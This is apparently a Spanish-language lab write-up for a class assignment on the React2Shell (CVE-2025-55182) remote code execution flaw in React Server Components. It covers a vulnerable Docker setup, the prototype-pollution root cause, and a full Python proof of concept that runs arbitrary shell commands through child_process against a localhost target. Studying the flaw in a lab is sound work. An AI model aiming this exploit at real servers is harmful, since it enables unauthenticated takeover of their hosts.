
también conocido como React2Shell
Las secciones requeridas por las pautas de la asignación están marcadas con “(Obligatorio)”.
Este entorno utiliza un Dockerfile personalizado basado en la imagen oficial de Node.js Alpine.
FROM node:20-alpine
WORKDIR /app
COPY package.json ./
RUN npm install --legacy-peer-deps
COPY . .
EXPOSE 3000
CMD ["npm", "run", "dev"]
El Dockerfile construye un entorno vulnerable de React Server Components (RSC) y Next.js App Router.
El entorno instala versiones vulnerables de:
El servidor vulnerable se ejecuta en modo de desarrollo usando npm run dev.
El servidor vulnerable se ejecuta en modo de desarrollo usando npm run dev.
El entorno opera utilizando la siguiente estructura:
[Attacker / exploit.py]
↓
[Next.js App Router]
↓
[React Flight Protocol Parser]
↓
[React Server Components Runtime]
↓
[Node.js Runtime]
El atacante envía una solicitud multipart/form-data especialmente manipulada a la aplicación Next.js vulnerable.
El payload malicioso abusa del proceso de deserialización del protocolo Flight de React.
La aplicación vulnerable utiliza la arquitectura App Router de Next.js.
La solicitud se procesa a través del pipeline de React Server Components.
El código fuente de la aplicación se almacena dentro del directorio src/app/.
src/
└── app/
├── layout.js
└── page.js
El archivo layout.js define el layout raíz requerido para la estructura de App Router e inicializa el entorno de React Server Components.
export default function RootLayout({ children }) {
return (<html><body>{children}</body></html>);
}
El archivo page.js define la página raíz renderizada en / y muestra un mensaje simple que indica que el servidor vulnerable está en ejecución.
export default function Page() {
return (<h1>Vulnerable Server</h1>);
}
Las dependencias del proyecto y los scripts de ejecución se gestionan a través del archivo package.json.
{
"name": "cve-2025-55182-vuln-app",
"version": "1.0.0",
"private": true,
"scripts": {
"dev": "next dev -p 3000"
},
"dependencies": {
"next": "15.0.0",
"react": "19.0.0-rc-65a56d0e-20241020",
"react-dom": "19.0.0-rc-65a56d0e-20241020",
"react-server-dom-webpack": "19.0.0-rc-65a56d0e-20241020"
}
}
Este archivo define versiones vulnerables de:
La aplicación vulnerable se ejecuta usando:
"scripts": {
"dev": "next dev"
}
El servidor se inicia mediante:
npm run dev
que lanza el servidor de desarrollo vulnerable de Next.js en el puerto 3000.
El protocolo Flight deserializa objetos complejos de React, como:
La vulnerabilidad ocurre durante este proceso de deserialización.
El runtime de React procesa payloads de Flight controlados por el atacante.
El recorrido inseguro de propiedades y el acceso al prototipo permiten finalmente a los atacantes secuestrar el constructor de Function.
Tras una explotación exitosa, se ejecuta código JavaScript arbitrario dentro del entorno del servidor Node.js.
Esto conduce a la ejecución remota de código (RCE).
| Componente | Versión |
|---|---|
| Node.js | 20-alpine |
| Next.js | 15.0.0 |
| React | 19.0.0-rc |
| react-dom | 19.0.0-rc |
El entorno utiliza implementaciones vulnerables de React Server Components y del protocolo Flight.
CVE-2025-55182, también conocido como React2Shell, es una vulnerabilidad crítica de ejecución remota de código (RCE) que afecta a React Server Components y al protocolo Flight de React.
La vulnerabilidad ocurre durante el proceso de deserialización de payloads del protocolo Flight controlados por el atacante.
El problema permite a los atacantes:
La vulnerabilidad es especialmente peligrosa porque la explotación puede ocurrir sin autenticación mediante una única solicitud HTTP manipulada.
Las aplicaciones que utilizan configuraciones vulnerables de React Server Components y Next.js App Router están directamente expuestas.
La causa raíz de la vulnerabilidad es el manejo inseguro de referencias a objetos controladas por el atacante durante la deserialización del protocolo Flight.
React Flight usa internamente cadenas de referencia especiales como:
$@0
$B1337
$1:__proto__:then
Estas referencias se resuelven recursivamente durante la deserialización.
La lógica vulnerable realiza un recorrido de propiedades similar a:
value[path[i]]
sin validar si la propiedad pertenece al propio objeto.
Como resultado, los atacantes pueden acceder a propiedades peligrosas de la cadena de prototipos de JavaScript como:
__proto__
constructor
prototype
Esto finalmente permite la contaminación de prototipos y el secuestro del constructor de Function.
El atacante primero crea un objeto chunk falso de React.
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "touch /tmp/success.txt",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
El campo crítico es:
"status": "resolved_model"
El runtime de React confía incorrectamente en este campo y trata el objeto controlado por el atacante como un objeto chunk interno legítimo.
El payload:
$1:__proto__:then
hace que el deserializador recorra la cadena de prototipos de JavaScript.
Debido a que el código vulnerable no valida las propiedades peligrosas, el atacante obtiene acceso a:
Chunk.prototype.then
Esto transforma el chunk falso en un objeto thenable.
El payload:
$1:constructor:constructor
finalmente se resuelve a:
Function
Esto reemplaza:
response._formData.get
por el constructor global de Function de JavaScript.
Como resultado:
Function(attacker_controlled_payload)
se vuelve posible.
El payload:
$B1337
obliga al parser de Flight de React a entrar en la lógica de parseo de Blob.
Durante este proceso:
response._formData.get(...)
se ejecuta.
Sin embargo, el atacante ya reemplazó esta función con el constructor global de Function.
Esto finalmente resulta en la ejecución de JavaScript arbitrario dentro del runtime de Node.js.
El proceso de explotación ocurre en el siguiente orden:
Attacker Request
↓
Flight Payload Parsing
↓
Fake Chunk Creation
↓
Prototype Pollution
↓
Function Constructor Hijacking
↓
Blob Parsing Trigger
↓
Promise Resolution
↓
Remote Code Execution
El atacante primero envía una solicitud Flight multipart manipulada.
El servidor vulnerable deserializa el payload malicioso y resuelve recursivamente las referencias controladas por el atacante.
El recorrido inseguro del prototipo permite finalmente al atacante secuestrar el constructor de Function.
Durante la resolución de promesas y el parseo de Blob, se ejecuta código JavaScript arbitrario.
Una explotación exitosa permite a los atacantes ejecutar código JavaScript arbitrario dentro del entorno del servidor Node.js.
En este entorno, el exploit ejecuta:
touch /tmp/success.txt
La explotación exitosa se verifica cuando el siguiente archivo existe dentro del contenedor:
/tmp/success.txt
En entornos del mundo real, los atacantes podrían:
La vulnerabilidad es especialmente peligrosa porque afecta a las partes internas del framework de React en lugar de a la lógica de negocio de la aplicación.
Esto significa que una gran cantidad de aplicaciones pueden volverse vulnerables simplemente por usar versiones afectadas del framework.
La prueba de concepto (PoC) fue escrita en Python.
El exploit envía una solicitud maliciosa multipart/form-data directamente a la aplicación Next.js vulnerable.
El PoC realiza las siguientes acciones:
import requests
import sys
def exploit_rce(url, command):
headers = {
"Host": "localhost",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
"Next-Action": "x",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
}
payload_json = (
'{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
'"value":"{\\"then\\":\\"$B1337\\"}","_response":{'
f'"_prefix":"process.mainModule.require(\'child_process\').execSync(\'{command}\');",'
'"_formData":{"get":"$1:constructor:constructor"}}}'
)
data = (
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
"Content-Disposition: form-data; name=\"0\"\r\n"
"\r\n"
f"{payload_json}\r\n"
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
"Content-Disposition: form-data; name=\"1\"\r\n"
"\r\n"
"\"$@0\"\r\n"
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"
)
try:
print(f"[*] Sending RCE payload to {url}...")
print(f"[*] Command: {command}")
response = requests.post(url, headers=headers, data=data, timeout=10)
print(f"[*] Status Code: {response.status_code}")
print(f"[*] Response Body Preview: {response.text[:500]}")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
target_url = "http://localhost:3000"
cmd = "touch /tmp/success.txt"
if len(sys.argv) > 1:
cmd = sys.argv[1]
if len(sys.argv) > 2:
target_url = sys.argv[2]
exploit_rce(target_url, cmd)
El payload del exploit utiliza múltiples referencias del protocolo Flight especialmente manipuladas.
$1:__proto__:then| Parte | Propósito |
|---|---|
$1 | Referencia al chunk 1 |
__proto__ | Recorre la cadena de prototipos |
then | Obtiene Chunk.prototype.then |
Este payload transforma el chunk falso en un objeto thenable.
$1:constructor:constructor| Parte | Propósito |
|---|---|
$1 | Referencia al chunk 1 |
constructor | Accede al constructor del objeto |
constructor | Resuelve al constructor global de Function |
Este payload secuestra el constructor de Function de JavaScript.
$B1337El prefijo $B obliga al parser de Flight a entrar en la lógica de parseo de Blob.
Durante este proceso:
response._formData.get(...)
se ejecuta.
Debido a que el atacante ya reemplazó este método con el constructor de Function, se ejecuta código JavaScript arbitrario.
$@0Este payload crea una referencia circular a un chunk.
El chunk 1 finalmente vuelve a referenciar al chunk 0.
Esta estructura permite al deserializador usar el objeto chunk falso controlado por el atacante durante el recorrido del prototipo.
El exploit primero crea un boundary multipart aleatorio.
boundary = "----WebKitFormBoundary" + uuid.uuid4().hex
Esto es necesario para construir una solicitud multipart/form-data válida.
El exploit construye un objeto chunk falso malicioso.
"status":"resolved_model"
Esto hace que el runtime de React trate el objeto controlado por el atacante como un chunk interno válido.
El siguiente payload:
$1:__proto__:then
obliga al parser vulnerable a recorrer la cadena de prototipos de JavaScript.
El siguiente payload:
$1:constructor:constructor
reemplaza el método interno get con el constructor de Function de JavaScript.
El payload:
require('child_process').execSync('touch /tmp/success.txt')
se ejecuta finalmente dentro del runtime de Node.js.
La explotación exitosa crea:
/tmp/success.txt
dentro del contenedor vulnerable.
El flujo completo del exploit se resume a continuación:
Start Docker Environment
↓
Run Vulnerable Next.js Server
↓
Execute exploit.py
↓
Send Malicious Flight Payload
↓
Trigger Prototype Pollution
↓
Hijack Function Constructor
↓
Trigger Blob Parsing
↓
Execute Arbitrary Code
↓
Verify /tmp/success.txt
Construye la imagen de Docker.
docker build -t rsc-vuln .
Ejecuta el contenedor vulnerable.
docker run -d -p 3000:3000 --name my-vuln-server rsc-vuln
El servidor vulnerable de Next.js se ejecutará en:
http://127.0.0.1:3000
Ejecuta el script del PoC.
python3 exploit.py
El exploit envía un payload malicioso de React Flight al servidor vulnerable de Next.js.
Verifica si el exploit creó correctamente el archivo objetivo.
docker exec -it my-vuln-server ls -la /tmp/success.txt
Una explotación exitosa confirma que se produjo la ejecución de código arbitrario dentro del contenedor vulnerable.
Durante una explotación exitosa, el exploit debería disparar la deserialización de React Flight y el recorrido del prototipo.
El servidor vulnerable procesa el payload malicioso de Flight y ejecuta código JavaScript controlado por el atacante.
La explotación exitosa se confirma cuando existe el siguiente archivo:
/tmp/success.txt
Ejemplo de salida:
-rw-r--r-- 1 root root 0 Jan 1 00:00 /tmp/success.txt
Esto confirma que los comandos arbitrarios se ejecutaron exitosamente dentro del entorno vulnerable de Node.js.
Las siguientes capturas de pantalla se incluyeron en el directorio screenshots/:


| react-server-dom-webpack |
| 19.0.0-rc |